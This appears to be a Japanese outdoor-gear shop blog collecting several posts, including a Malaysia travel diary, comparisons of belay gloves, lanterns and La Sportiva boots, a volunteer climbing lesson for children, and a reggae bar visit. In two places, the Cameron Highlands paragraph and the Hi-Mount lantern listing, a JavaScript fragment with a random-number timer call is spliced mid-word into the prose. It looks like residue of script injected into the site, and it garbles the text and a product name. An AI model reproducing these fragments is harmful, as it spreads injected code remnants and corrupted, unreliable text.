ビエ君 ~夏の日記~ マレーシアの旅

シンガポールの北のほうに、マレーシアに行く橋がある。バスで、首都のクアラルンプールまで、やく4時間。

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ペトロナスツインタワー、大きい建物、ショッピングモールの中には遊園地、(ここのジェットコースターは、お台場ジョイポリスの新しいジェットコースターよりすごい!) チャイナタウンで’’偽者’’の商品の市場、やっぱり二日くらいないと全部見れない。でも、クアラルンプールで一番すごいと思ったのは、バトゥ洞窟。町の中心部からも結構近い、巨大な洞窟である。ヒンドゥー教の聖地。洞窟は、いくつかあり、ヒンドゥーの神様の彫刻がたくさんある洞窟や、中に滝がある洞窟や、 ヘットランプを付けてガイドと一緒に探検する洞窟などある。洞窟が一番大きい所だと、天井が100m以上。上から落ちてくる水滴は、痛い。。。

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キャメロンハイランド

クアラルンプールから、更に北の山の方へ行くと、紅茶の産地。確かに美味しい。後から気づいたけど、時々紅茶のアールグレイの箱を見てみると「Cameron Highlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and」って書いてある。お茶の他にも、色々な植物が生えてます。ジャングルの探検すると、ラフレシアとか人形の形や、フラメンコのドレスっぽい花が見れます。しかし、気をつけましょう!「森の住民に会える」的なツアーがある。車で10分程度の国道沿いに昔ながらの生活を森の民がしてるわけ無いじゃん。。。騙されないように!

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マラッカ

クアラルンプールから、約2時間、シンガポールが国際的な港として発達する以前、ポルトガル、オランダ、英国などが利用していた港街。今では静かな、小さい港町。ポルトガル人が作った要塞、フランシスコ ザビエルが住んでいた家や教会、中国人のショップハウス系な町並み、川沿いの道などあって、のんびり出来る町。

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ティオマン

メルシンの港から、フェリーに乗る。99%がジャングルで覆われている島。CIMG0174

 

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小さい空港や、ホテルもあるが、ほぼバンガローだらけ。オフシーズンの雨期には無人島状態、ヤモリ、蜘蛛とオオトカゲのパラダイス。

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国際的有名なダイビングスポット。シュノーケルだけで泳いでいてもウミガメが見えるくらい水がきれい。海辺でちょっと海水浴もいいけど、結構自然のままに残されているから、すぐそこにウニの大きい奴とかがいてかなり危険。死にはしないけど、マジ痛い。。。

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マレーシアは、僕的には、ダイビングスポットがいっぱいあるし、結構いろんな場所を安くうろうろ出来て、いろんな風景も見れて、結構楽しかった。今度は、マレーシアのボルネオに行ってみたいなー

ビレイグローブかよ、おとっつぁん!(山村分室)。

「ビレイグローブ書けよ、山ちゃん!」と軽く振られましたが、私、生まれてこの方ビレイグローブなど使ったことがありません。学生なんて基本は軍手ですから!!・・・今の学生はそんなことないんですか?知らないですが。

でもいいんですか?そんな私に命を懸けてしまって!?まぁ解らないなりに実際に着け比べてみようと思います。なんで装着時の感想をダラダラ書いてみます。長いです。また、着け心地は個人の感覚なので実際に着け比べてみるのが一番だと思います。

P8032849左上・BEAL:ASSURE MAX @3,360
サイズレンジ【S、M、L、XL】
素材【山羊革、フルグレインレザー】
握り具合【柔らかい】
今回比べた中で一番柔らかかった。革はしなやかで、フィット感とロープの滑りがよさそう。ロープが擦れる箇所は革を二重にして補強されている。掌の一部のみ補強の為屈折時に固さを感じない。

右上・PETZL:CORDEX @6,090
サイズレンジ【XS、S、M、L、XL】
素材【掌:山羊革・甲:化繊伸縮素材】
握り具合【固め】

甲が伸縮性のある化繊。透湿性にすぐれてそう。屈折時、甲側はよく伸びているものの、補強は掌は広く、指は第二関節まで二重になっている為、固さを感じる。カラビナホール有り。

左下・mont-bell:フィールドレザーグローブ @5,800
サイズレンジ【S、M、L】
素材【山羊革】
握り具合【固め】
婦人手袋みたいにストレート。ていうか女性はしっくりくると思います。全体的に細身の為フィット感があり、ギアの扱いには一番よさそう。ただ3サイズなのと、オールレザーで革が固めなのが玉に傷という感じ。

右下・METOLIUS:BelayGlove @4,620
サイズレンジ【S、M、L】
素材【牛革】
握り具合【固め】
今回唯一の牛革。掌の補強も厚く堅牢な印象。指が太目で少しギア操作がしづらい。掌にメトリウスのマークが捺されている。補強は掌までで指には無し。

P8032855上・BD:CragGlove @2,625
サイズレンジ【XS、S、M、L、XL】
素材【掌:シンサテックレザー・甲:化繊伸縮素材】
握り具合【柔らかい】
今回唯一の人工革。着け心地はよく、掌のクッション性は高い。グローブというより手袋っていう印象。暖かい。また今回の中で一番低価格。同じ5000円払うなら消耗品と考えてこれを二双にするか、+1000円で耐久性のある革にするか、はお任せします。
また、フルフィンガーとハーフフィンガーの二種類用意していて、何ピッチも懸垂するときはフルフィンガーがいいし、岩登りが主体のハイグレードハイキングのようなときはハーフフィンガーのほうがいいし、と山行に合った物を選ぶとよいと思います。
カラビナホール有り。

左下・BD:TransitionRockGlove @4,620
サイズレンジ【XS、S、M、L、XL】
素材【掌:山羊革・甲:化繊伸縮素材】
握り具合【柔らかめ】
掌から第二関節にかけて二重に補強されている。全体的にごつい印象だが割と柔らかい。指間の干渉も少なくギア操作がしやすい。カラビナホール有り。

右下・TRANGO:GOAT BELAY GLOVE @4,800
サイズレンジ【S、M、L】
素材【山羊革・化繊伸縮素材】
握り具合【柔らかめ】
掌から第一関節にかけて革が二重になっていて厚みを感じる。しかし、中指、薬指の関節部は一重で、屈折時の妨げにならないよう配慮されている。指が長細いのでギア操作がしやすい。カラビナホール有り。

■各モデルの詳細、購入はデナリネットショップ「グローブ」コーナーへ!!

気になったBD:TransitionとTRANGOを比較。どっちが気に入ったかは、ヒ・ミ・ツです。
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ビレイグローブだよ、おっかさん!。(ぎあくえ)

倉岡大先生は第2ラウンド、戦闘続行。アフリカ戦線に残してきた僕のビレイグローブ。『二回戦目でご愁傷様!ありがとうございました。生まれて初めて使いました。エベレスト帰りの薄皮にはジェントルに感じました。というわけで、オーちゃんオススメのを一つお願いします』。えぇ~、いきなりハードル上がるじゃん。どれにしよ?。

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「手袋は命を掛けて仕入ろ!」と言うぐらい気合い入れて手を入れまくる。だから自信はありますが、手の厚み、指の長さ、握力等、こだわればこだわる程複数の正解が出てきます。薄いと切れるは、厚いと操作し辛いは、余るとカラビナに引っ掛かるは、一層手の皮を強化するのが一番かぁ!?。そーは言うものの、現代っ子の指は繊細で華奢に出来ています、無理無理、手の皮強化は諦めて、自分に合うグローブを探した方がまともです。そんな訳で、オススメビレイグローブ並べてみます。

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ちなみに、アフリカ戦線で散った僕の遺品はMETOLIUS社 Belay Glove(ビレイグローブ¥4,620)でした。はじめ堅いが馴染んでくるとイイ感じ。ただ、サイズもSサイズからの展開なので、どちらかと言うと男性向き。で、今回はTRANGO社 GOAT Belay Glove(ゴートビレイグローブ¥4,800)にしてみます。

「ビレイグローブだよ、おっかさん!」と書いてみたかっただけで意味はありません。が、「ビレイグローブ書けよ、山ちゃん!」て言えばブログが1つ成立するので、山ちゃんに振り込んで今日はおしまい(プっ)。

大先生の戦線報告はこちらから。

http://sevensummit.blog119.fc2.com/

http://www.hiro-kuraoka.com/ 

ヘッドランプdeランタン

前回はランタンの紹介でしたが、今回はなんと!ヘッドランプがランタン代わりになるというものを紹介!装備の軽量化は登山の鉄則みたいなもんですからね。明るさは使用するヘッドランプに依存しますがそれでも光が広がるので目にも優しいです。ということで以下紹介。

P8032823mont-bell:クラッシャブル ランタン シェード @1,050
巾着型のランタンシェード。ヘッドランプを中に入れて口を閉じると完成。ボトム部は内側に円錐状の反射板になっています。収納時は折りたためばとてもコンパクトに。収納ケースとしては内部の反射板が干渉してあまりお勧めはできません。

P8032822MAMMUT:Ambient Light Dry Bag @2,940
防水パック型のランタンシェード。中に空気を入れて口を閉じた後、ボトムのバンドでヘッドライトを固定すれば出来上がり。「Dry Bag」の名も伊達じゃなく、容量3Lの防水パックとしても使えます。パッケージの絵によるとサンドイッチも入るそうです。これを付けたまま頭に装着することも可能です。僕はしません。

因みに今回使用したヘッドランプはBD社のヘッドランプ『スポット』90lumでした。

 

 

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・・・!?

いでみつAOL ~仕事編~

仕事というよりボランティア!乗鞍の翌日月曜日は朝から奥多摩の開拓中の岩場へGO!すげー物量のチャート。チャート。チャート。30m以上のラインもあり、お口・ア・ン・グ・リ・・・。3ピッチくらいのマルチルートも引けちゃいますね!でもコレらは今後開拓するもの。今回行ったのは開拓済みの一部を使って世のため、人のため、子供達のためにクライミング講習会してまいりました。

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幼稚園年長くらいから小学生までの福島っ子ら20人以上を奥多摩の古民家へ1週間ほど招待して色々アクティビティーをする。その一環でクライミング!というわけです。とにかく暑さに負けないくらいの熱量でビレイ諸々してまいりました。登りながら怖くて泣き出す素直な子供たちを応援しながら感じるコト。俺も怖かった・・・・(笑)。ワカルソノキモチ!でもやらなきゃならん時もあるわけです。そのエッセンスがクライミングの魅力の一つと思っているわけで・・・。まっ!とにかく取り付いた子供ら全員大騒ぎしながら登りました。伝わったかな・・・・。

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原発事故以降、夏休みに限らず遊んでいた自然には、今まで通りのアプローチがしにくくなってしまっているようで・・・・。それなら是非東京で遊んでぇ~というNPO法人の企画でした。これからも、登山ガイドの資格取ったからこそ声かけてもらえる、こういったお手伝いは積極的にしていきまっす(^^)v

ランタン使ってみませんか?

秋の夜長に欠かせないのがなんといってもこれ!ランターン。ってあれ?まだ夏始まったばかりですよー、って?
言われてみればそんな気もしますが、ただ最近時間がたつのが早いなぁと、思うのです。この前新学期が始まったと思ったらもう期末テストで・・・。でもこれからやっと夏休み!いっぱい遊ぶぞー!と思いきや研究室と就活に追われる日々を送るのでしょうね。すると結局秋何てすぐなんですよ。あーいやだいやだ。

ところでランタンと言えば昔は白ガソリンランタンやガス缶の物が主流でしたが重さや個人山行が増えた等の理由からかLEDのランタンが増えてきましたね。ガソリンやガスを使っていたころはやたらテント炎上の話題があった気がしますが、LEDならそんな心配はいりません。明るさも十分あり、何より軽い!これにつきますね。まぁ個人山行ならヘッドランプで十分だよという人もいると思いますが、そんな人は次回、待っていてください。ということで以下紹介。

P8032826BD:Apollo @5,250
80Lumens 最大60時間点灯
P8032836BD:Orbit @3,150
45Lumens 最大24時間点灯
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左から
UCO:MIGHTY LITE FLIP @4,200
185Lumens 最大25時間点灯
UCO:STRETCH LITE XL @3,150
26Lumens 最大22時間点灯
ハイマウント:Lantern andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Torch @2,205
76Lumens 最大16時間点灯

P8032839キャンドルランタン
左から
UCO:CANDLE LANTERN @3,045
キャンドルを収納することで簡単なキャンドルランタンに。やっぱり人工的な明かりより火の明かりの方が落ち着きますね。
ただしテントの屋根につるすと思わぬ事故(テント炎上とか)につながるので注意してください。
UCO:CANDLE LANTERN SPARE CANDLE @577
CANDLE LANTERNに付属のろうそく。9時間燃焼。

詳細はデナリネットショップ「LEDランタンコーナー」へ

これは何でしょう?

これは何でしょう?

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デナリさんの売上ではございません・・・、ブログのアクセス解析です。土日は皆さんお出かけ、定休日の更新なしとくれば、ある程度リズムは出来てきます。ただ、先週は水曜日の『隙間産業じゃないヨ、割れ目産業だから。』かなり力を込めた!、相当頑張った!。にも拘わらず、アクセス落ちてるじゃん!!、どーゆー事???。僕の努力と読者の都合はまるでシンクロしない。ここは一つ再履修を促すべく、さりげなく主張してみよう。

000041お陰様で「新」の方は順調です。ご覧頂いている皆様、いつもありがとうございます。更新されないブログより無理矢理更新するブログもどーなの?、そんなこんなで、1記事ゲットだぜ!。明日も「リアル夏休み帳」的などーでもイイネタで行きます、だって、夏休みだから(笑)。

La Sportivaの靴(3シーズン編)

引き続きLa Sportivaの靴です。本日は3シーズン編。

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画面左:Trango S EVO GTX(トランゴSエボGTX 予価¥38,850)、画面右:Trango Guide GTX(トランゴガイドGTX 予価¥36,750)。個人的な感想は「テクニカルマウンテンブーツ」と「テクニカルすぎるマウンテンブーツ」とでも申しましょうか?。トランゴガイドは凄く魅力的なのですが、位置付けはアプローチシューズ→3シーズンブーツの「→」の位置に居るため、「大島-板野-前田」的な「板野」的存在。

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トランゴSエボのソールは「ブロックパターン+クライミングゾーン」ですが、トランゴガイドのソールは「コインパターン+クライミングゾーン」なので、「歩き」と言うより「登り」に特化したモデル。アッパーも柔らかく柔軟な動きに対応したテクニカルタイプで、「重い」とか「長い」とかには向かない。 やはり、こーゆーのはヨーロッパの岩稜で格好良く使うためにあるのだろ、裏山=泥山みたいな環境では光り輝きません。

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で、何故か最近問い合わせが多いTrango Trek Micro EVO GTX(トランゴトレックマイクロエボGTX 予価¥35,700)についても。カタログでは「Sエボを少しソフトに」と書いてありますが、硬性自体は、「Sエボ→トレックマイクロ→アルプ」という感じで、「セミワンタッチ対応ソール」でない所が「ソフト」な所!?だと思われますが、どーでしょ。アッパーがレザーなのでSエボよりしっかりしてますが、ソール周辺はアルプよりソフトなので、非常に扱いやすい。お問い合せ頂く皆様、なかなかイイ靴ですよ。でも、うちはこれ以上アイテム増やしたくないので置いていません(笑)。

スミマセン!!、ほんとはAKBの事など何も分かりません!。ググって単語並べただけです。ただ、靴の方はそんな事ありませんからご心配なく。

La Sportivaの靴(アプローチ編)

スポルティバジャパンさんに来期の靴を見に行って来た時の話。おそらく、多分、メーカー内なら比較検討しても許されるに違いない!、な訳でコメントが出来そーなモデルの画像からネタを絞り出してみます。スペックや美辞麗句はカタログからお願いします。それにしても毎日暑い・・・。

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先ずは新作。Hyper MID GTX(ハイパーミッドGTX 予価¥27,500)。裏側はこんな感じ。

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重量も1/2ペア500gで、Boulder X MID GTX(ボルダーXミッドGTX)とよく似ています。「アプローチ専用に新開発」と言うだけあって、作り的にはソールがやや薄めでより「足裏感覚」がしっかり出ます。「エッジングよりスメア向き」な作りで「ハイグレードハイキング」と言うより「クラシッククライミング」向きかな?。

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で、お馴染みのBoulder X MID GTX(ボルダーXミッドGTX 予価¥25,800)に来年は新色が追加されます。個人的には今年の「逸品」で非常に評価、スペック・堅さなど日本の現場によくマッチしたアプローチシューズだと思います。上の新作ハイパーミッドも気になりますが、歩く距離や荷物の重量を考慮すると「アプローチ」過ぎるのも何なので、デナリさんではボルダーXミッドのカラー追加で乗り切るつもりです。

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Italian Madeが格好よいGunda Guide(ガンダガイド 予価¥42,000)です。足入れも最高で欲しくなる事この上なし、ただ価格も格好よすぎて、足は出るがなかなか手が出ない・・・。日本国内のレア度は非常に高いので、靴好きの方は是非一度足入れしてみて下さい。勿論デナリにはありません!、冗談じゃない、10足で40万オーバーの在庫を抱える程余裕ある訳ない(笑)。

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で、みんなで集合写真撮って今日は終わり。

ビエ君 ~夏の日記~ レゲーバー

幼なじみの友達のEくんと飲みに行きました。とってもたのしかったです!

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新宿三丁目駅と新宿御苑前駅の間くらいにある、ちっちゃな道の奥の地下にあるこのお店は、知らないと見つけられないお店。

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この店は去年、たまたま見つけました。終電を逃して、お酒でいい気分になってふらふら歩いていて、フッと小さい道の奥を見ると、奥のほうに、赤、黄、緑の色の看板が見えた。酔っ払った勢いで、中に入ってたら、ROOTS REGGAEのライブ。最高によかった!

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普通の日も、壁一面ぐらい大きいスピカーから超ルーツなReggaeをDJ が流して、店内にあるジャンベーとかいろんな楽器もつかえて楽しい!値段も安いし、カクテルとかもおいしい。それ以降、時々M とEと遊びに行く。レゲー好きな人にはたまらないお店です。